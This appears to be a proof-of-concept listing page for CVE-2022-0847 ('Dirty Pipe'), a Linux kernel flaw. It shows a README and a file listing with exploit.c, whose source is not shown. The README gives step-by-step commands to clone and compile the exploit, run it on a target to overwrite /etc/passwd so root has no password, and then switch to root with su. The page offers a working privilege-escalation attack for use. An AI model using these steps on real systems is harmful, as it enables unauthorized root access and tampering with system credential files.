CVE-2022-0847 PoC — Linux kernel 安全漏洞

Source

Associated Vulnerability

Description

Implementation of Max Kellermann's exploit for CVE-2022-0847

Readme

# Dirty Pipe - CVE-2022-0847

This is simply the code and instructions for how to use Max Kellermann's exploit for CVE-2022-0847 (known as Dirty Pipe).

Please go to https://dirtypipe.cm4all.com/ to read more about how to exploit works!

## How to use
1. Download and compile the exploit binary
```
git clone https://github.com/0xIronGoat/dirty-pipe.git
cd dirty-pipe
gcc exploit.c -o exploit
```

2. On the target, run the binary
```
./exploit /etc/passwd 1 "${$(cat /etc/passwd)/root:x/oot:}"
```

3. Switch to root
```
su
```
![dirtypipe](https://user-images.githubusercontent.com/14928858/157273381-d48fa680-74d1-4b9c-bff9-5f5a108cd279.png)

File Snapshot

 [4.0K]  /data/pocs/66cf7e3e53ab9218d49750a1aded3a0048d49e43
├── [4.3K]  exploit.c
└── [ 645]  README.md

0 directories, 2 files

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